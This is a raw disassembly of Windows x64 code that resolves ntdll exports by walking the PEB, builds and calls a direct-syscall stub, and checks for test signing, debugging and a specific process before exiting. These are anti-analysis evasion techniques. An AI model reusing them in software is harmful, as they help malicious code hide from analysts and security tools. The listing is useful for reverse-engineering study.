mov r9, qword [rbp + 0xe0]
test r9, r9
je 0x14000c88f
test r10, r10
je 0x14000c88f
cmp word [r9], r15w
jne 0x14000c7b1
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000c7b1
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000c7b1
mov edi, dword [rax + 0x20]
add rdi, r9
mov ebx, dword [rax + 0x24]
add rbx, r9
mov esi, dword [rax + 0x1c]
add rsi, r9
mov r8d, r13d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000c7b1
lea r14, str.NtQueryInformationProcess
mov rdx, r14
mov ecx, dword [rdi]
add rcx, r9
je 0x14000c7a5
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14000c797
sub rcx, r14
test al, al
je 0x14000c78e
cmp byte [rdx], r13b
je 0x14000c797
inc rdx
movzx eax, byte [rdx + rcx]
cmp al, byte [rdx]
je 0x14000c778
jmp 0x14000c797
cmp byte [rdx], r13b
je 0x14000c82d
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000c82d
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14000c764
mov rbx, r13
cmp word [r10], r15w
jne 0x14000c85a
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x14000c85a
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x14000c85a
mov edi, dword [rax + 0x20]
add rdi, r10
mov esi, dword [rax + 0x24]
add rsi, r10
mov r14d, dword [rax + 0x1c]
add r14, r10
mov r8d, r13d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000c85a
lea r15, str.ZwUnmapViewOfSection
mov rdx, r15
mov ecx, dword [rdi]
add rcx, r10
je 0x14000c84e
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14000c844
sub rcx, r15
test al, al
je 0x14000c83f
cmp byte [rdx], r13b
je 0x14000c844
inc rdx
movzx eax, byte [rdx + rcx]
cmp al, byte [rdx]
je 0x14000c817
jmp 0x14000c844
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r9
jmp 0x14000c7b4
cmp byte [rdx], r13b
je 0x14000c870
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000c870
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14000c803
mov rax, r13
mov rdx, r9
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x14000c880
call rax
jmp 0x14000c88f
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r10
jmp 0x14000c85d
movzx ebx, word [rbx + 4]
call rax
mov word [rbp + 0x20], bx
test bx, bx
jne 0x14000c8da
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x14000c8ce
cmp al, 6
jne 0x14000c8c7
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14000c8c7
sub ecx, 1
je 0x14000c8c0
cmp ecx, 1
jne 0x14000c8ce
mov ebx, Ordinal_26
mov word [rbp + 0x20], bx
jmp 0x14000c8da
mov eax, reloc.WS2_32.dll_socket
jmp 0x14000c8d3
mov eax, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14000c8d3
mov eax, Ordinal_26
movzx ebx, ax
mov word [rbp + 0x20], ax
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000c9f8
lea rcx, [rbp + 0x131]
lea rax, [rbp + 0x20]
cmp rcx, rax
jbe 0x14000c920
lea rcx, [rbp + 0x131]
lea rax, [rbp + 0x22]
nop word [rax + rax]
movzx eax, byte [rbp + 0x21]
mov byte [rbp + 0x132], al
mov byte [rbp + 0x131], bl
lea rcx, [rbp + 0x130]
cmp rdi, rcx
jbe 0x14000c950
lea rcx, [rbp + 0x13b]
nop dword [rax]
nop word [rax + rax]
mov dword [rdi + 7], 0xc3050fd1
mov dword [rdi + 3], 0x8b4c0000
mov byte [rdi + 2], al
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp + 0x30]
lea edx, [r9 + 0x16]
mov rcx, 0xffffffffffffffff
call rdi
mov ebx, eax
mov r9, rdi
lea r11, [rbp + 0x130]
sub r11, rdi
movzx r8d, byte [r9]
movzx r10d, byte [r11 + r9]
lea eax, [r8 - 0x61]
lea edx, [r8 - 0x20]
cmp eax, 0x19
cmova edx, r8d
lea eax, [r10 - 0x61]
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x14000c9c9
inc r9
sub qword [rbp - 0x70], 1
jne 0x14000c992
jmp 0x14000c9ce
cmp r8d, r10d
jne 0x14000c9e9
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
js 0x14000c9f8
cmp qword [rbp + 0x30], r13
je 0x14000c9f8
call fcn.1400093a0
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400069c0
test al, al
je 0x14000ca10
call fcn.1400093a0
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140007fb0
test al, al
je 0x14000ca28
call fcn.1400093a0
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r12b, r12b
mov dword [rbp + 0x30], r13d
mov rsi, r13
mov r15, r13
mov rax, qword gs:[0x60]
mov r14, qword [rax + 0x18]
add r14, 0x20
mov rdi, qword [r14]
cmp rdi, r14
je 0x14000ca78
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000ca6a
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000ca74
mov rdi, qword [rdi]
cmp rdi, r14
jne 0x14000ca50
jmp 0x14000ca78
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
lea r14, str.NtQuerySystemInformation
test r9, r9
je 0x14000cb16
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000cb16
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000cb16
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000cb16
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000cb16
mov rdx, r14
mov ecx, dword [rdi]
add rcx, r9
je 0x14000cb0a
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14000cb00
sub rcx, r14
test al, al
je 0x14000cafb
cmp byte [rdx], sil
je 0x14000cb00
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000cae5
jmp 0x14000cb00
cmp byte [rdx], sil
je 0x14000cb61
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000cb61
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000cad1
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000ccdd
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000cb54
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000ccd9
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000cb36
jmp 0x14000ccdd
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14000cb16
lea r9, [rbp + 0x30]
xor r8d, r8d
xor edx, edx
mov ebx, reloc.WLDAP32.dll_Ordinal_22
mov ecx, ebx
call rdi
cmp eax, 0xc0000004
jne 0x14000cbd4
nop word [rax + rax]
test rsi, rsi
je 0x14000cba6
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x30]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
lea r9, [rbp + 0x30]
mov r8d, dword [rbp + 0x30]
mov rdx, rax
mov ecx, ebx
call rdi
cmp eax, 0xc0000004
je 0x14000cb90
test eax, eax
jns 0x14000cbf7
test rsi, rsi
je 0x14000cb16
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000cb16
lea r11, [rsi + 8]
mov eax, dword [rsi]
test eax, eax
je 0x14000ccae
mov r14d, eax
lea r15, str.Hyhd
nop
mov r8, r15
test r11, r11
je 0x14000cca0
mov rbx, r11
sub rbx, r15
movsx r10d, byte [rbx + r8]
movsx r9d, byte [r8]
lea eax, [r10 - 0x41]
lea edx, [r10 + 0x20]
cmp eax, 0x19
cmova edx, r10d
lea eax, [r9 - 0x41]
lea ecx, [r9 + 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp edx, ecx
jne 0x14000cc61
test r10b, r10b
je 0x14000cc5c
test r9b, r9b
je 0x14000cc61
inc r8
jmp 0x14000cc22
test r9b, r9b
je 0x14000cc83
lea eax, [r10 - 0x41]
lea edi, [r10 + 0x20]
cmp eax, 0x19
cmova edi, r10d
lea eax, [r9 - 0x41]
lea ecx, [r9 + 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp edi, ecx
jne 0x14000cca0
cmp dword [r11 + 4], r13d
jne 0x14000cc8f
cmp dword [r11 + 0x18], r13d
je 0x14000cca0
cmp qword [r11 + 0x20], 0xa
ja 0x14000cc9d
cmp qword [r11 + 0x10], 0xa
jbe 0x14000cca0
mov r12b, 1
add r11, 0x28
sub r14, 1
jne 0x14000cc10
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r12b, r12b
je 0x14000cb16
call fcn.1400093a0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
lea r9, str.FileVersion
mov rax, r9
test r8, r8
je 0x14000cd2d
movzx ecx, word [r8]
cmp cx, 0x46
jne 0x14000cd28
mov ecx, 0x46
mov rdi, r8
sub rdi, r9
test cx, cx
je 0x14000cd22
cmp word [rax], r13w
je 0x14000cd28
add rax, 2
movzx edx, word [rdi + rax]
movzx ecx, dx
cmp dx, word [rax]
je 0x14000cd05
jmp 0x14000cd28
cmp word [rax], r13w
je 0x14000cd33
cmp cx, word [rax]
je 0x14000cd33
add r8, 2
jmp 0x14000cce8
add r8, 0x24
mov rbx, r13
mov edi, r13d
je 0x14000cd82
movzx eax, word [r8]
cmp ax, 0x2d
jne 0x14000cd50
mov edi, 1
jmp 0x14000cd56
cmp ax, 0x2b
jne 0x14000cd60
add r8, 2
nop word [rax + rax]
movzx edx, word [r8]
lea eax, [rdx - 0x30]
cmp ax, 9
ja 0x14000cd7b
lea rbx, [rbx + rbx*4]
lea rbx, [rbx - 0x18]
lea rbx, [rdx + rbx*2]
jmp 0x14000cd56
test edi, edi
je 0x14000cd82
neg rbx
mov dl, byte [0x7ffe026c]
cmp dl, 0xa
je 0x14000cf2c
cmp dl, 6
jne 0x14000cdd1
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14000cdd1
sub ecx, 1
je 0x14000cdd1
cmp ecx, 1
je 0x14000cdd1
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14000cdc9
sub ecx, 1
je 0x14000cdc9
cmp ecx, 1
jne 0x14000cf2c
mov ecx, r13d
jmp 0x14000cf33
mov dword [rbp + 0x140], 0x114
mov r15, r13
mov rax, qword gs:[0x60]
mov r14, qword [rax + 0x18]
add r14, 0x20
mov rdi, qword [r14]
cmp rdi, r14
je 0x14000ce1f
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000ce11
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000ce1b
mov rdi, qword [rdi]
cmp rdi, r14
jne 0x14000cdf7
jmp 0x14000ce1f
lea r15, [rdi - 0x10]
mov r8, qword [r15 + 0x30]
mov r15d, 0x5a4d
test r8, r8
je 0x14000cf84
cmp word [r8], r15w
jne 0x14000cf84
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x14000cf84
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x14000cf84
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov esi, dword [rax + 0x1c]
add rsi, r8
mov r9d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000cf84
lea r14, str.RtlGetVersion
nop dword [rax]
mov rdx, r14
mov ecx, dword [rdi]
add rcx, r8
je 0x14000cec9
movzx eax, byte [rcx]
cmp al, 0x52
jne 0x14000cebf
sub rcx, r14
test al, al
je 0x14000ceba
cmp byte [rdx], r13b
je 0x14000cebf
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000cea4
jmp 0x14000cebf
cmp byte [rdx], r13b
je 0x14000ceda
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000ceda
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x14000ce90
jmp 0x14000cf84
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r8
je 0x14000cf84
lea rcx, [rbp + 0x140]
call rax
mov rax, qword gs:[0x60]
mov ecx, dword [rbp + 0x14c]
cmp ecx, dword [rax + 0x120]
jne 0x14000cf1b
mov eax, ecx
sub rax, rbx
cmp rax, 0x7d0
jbe 0x14000cf84
call fcn.1400093a0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [0x7ffe0260]
mov rax, qword gs:[0x60]
cmp ecx, dword [rax + 0x120]
jne 0x14000cf1b
cmp dl, 0xa
je 0x14000cf6a
cmp dl, 6
jne 0x14000cf65
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14000cf65
sub ecx, 1
je 0x14000cf65
cmp ecx, 1
jne 0x14000cf6a
mov eax, r13d
jmp 0x14000cf71
mov eax, dword [0x7ffe0260]
cdqe
sub rax, rbx
cmp rax, 0x7d0
ja 0x14000cf1b
mov r15d, 0x5a4d
mov qword [rbp + 0x28], r13
mov dword [rbp + 0x28], 8
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000cfd8
nop dword [rax + rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000cfca
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000cfd4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000cfb0
jmp 0x14000cfd8
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14000d081
cmp word [r9], r15w
jne 0x14000d081
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000d081
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000d081
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000d081
lea rsi, str.NtQuerySystemInformation
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000d075
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14000d067
sub rcx, rsi
test al, al
je 0x14000d05e
cmp byte [rdx], r13b
je 0x14000d067
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000d048
jmp 0x14000d067
cmp byte [rdx], r13b
je 0x14000d19b
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000d19b
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000d034
mov dword [rbp + 0x30], 0x104
mov r12d, 1
mov dword [rbp + 0x28], r12d
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, r12d
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControl
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000d1f4
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x450]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x28]
xor r8d, r8d
lea rdx, str.SystemStartOptions
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000d1ea
lea r10, [rbp + 0x450]
cmp byte [rbp + 0x450], r13b
je 0x14000d1ea
lea r11, str.TESTSIGNING
movzx ebx, byte [str.TESTSIGNING]
test r10, r10
je 0x14000d1ea
mov r8, r10
mov r9, r11
movzx eax, bl
nop word [rax + rax]
movsx edx, byte [r8]
inc r8
movsx ecx, al
lea r9, [r9 + 1]
lea eax, [rcx - 0x41]
lea edi, [rcx + 0x20]
cmp eax, 0x19
cmova edi, ecx
lea eax, [rdx - 0x41]
cmp eax, 0x19
ja 0x14000d155
add edx, 0x20
cmp edx, edi
jne 0x14000d1de
movzx eax, byte [r9]
test al, al
jne 0x14000d130
mov eax, r13d
nop dword [rax + rax]
inc eax
lea r11, [r11 + 1]
cmp byte [r11], r13b
jne 0x14000d170
cdqe
cmp r8, rax
je 0x14000d1ea
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1400093a0
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
je 0x14000d081
xor r9d, r9d
lea r8d, [r9 + 8]
lea rdx, [rbp + 0x28]
lea ecx, [r9 + 0x67]
call rax
mov eax, dword [rbp + 0x2c]
shr eax, 1
test al, 1
je 0x14000d081
call fcn.1400093a0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
inc r10
cmp byte [r10], r13b
jne 0x14000d114
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.BCD00000000Objects
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000d4b2
mov dword [rbp + 0x80], 0x104
mov dword [rbp + 0x38], r13d
xor sil, sil
mov edx, 0x4096
xor ecx, ecx
lea r9d, [rax + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov dword [rbp + 0x88], 0x4096
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0xcc]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xb4]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x140]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x14000d483
mov r14d, r13d
nop dword [rax]
mov dword [rbp + 0x84], 0xff
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x84]
lea r8, [rbp + 0x350]
mov edx, r14d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x14000d476
mov edx, 0x4096
xor ecx, ecx
lea r9d, [rax + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rdi, rax
xor eax, eax
mov ecx, 0x4096
rep stosb byte [rdi], al
mov rdx, rbx
test rbx, rbx
je 0x14000d401
cmp byte [rbx], al
je 0x14000d367
nop
inc rdx
cmp byte [rdx], al
jne 0x14000d360
mov al, 0x42
lea rcx, str.BCD00000000Objects_
sub rcx, rdx
nop dword [rax]
nop word [rax + rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
movzx eax, byte [rcx + rdx]
test al, al
jne 0x14000d380
mov byte [rdx], r13b
mov rax, rbx
cmp byte [rbx], r13b
je 0x14000d3a8
nop dword [rax]
inc rax
cmp byte [rax], r13b
jne 0x14000d3a0
movzx ecx, byte [rbp + 0x350]
test cl, cl
je 0x14000d3cd
lea rdx, [rbp + 0x350]
sub rdx, rax
nop dword [rax]
mov byte [rax], cl
inc rax
movzx ecx, byte [rdx + rax]
test cl, cl
jne 0x14000d3c0
mov byte [rax], r13b
mov rax, rbx
cmp byte [rbx], r13b
je 0x14000d3e0
inc rax
cmp byte [rax], r13b
jne 0x14000d3d8
mov cl, 0x5c
lea rdx, str.Elements16000049
sub rdx, rax
nop dword [rax]
mov byte [rax], cl
lea rax, [rax + 1]
movzx ecx, byte [rdx + rax]
test cl, cl
jne 0x14000d3f0
mov byte [rax], r13b
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, r12d
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000d465
lea rax, [rbp + 0x88]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Element
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000d45b
movzx esi, sil
cmp dword [r15], r12d
cmove esi, r12d
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
inc r14d
cmp r14d, dword [rbp + 0x38]
jb 0x14000d2e0
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test sil, sil
je 0x14000d4b2
call fcn.1400093a0
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140088500
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret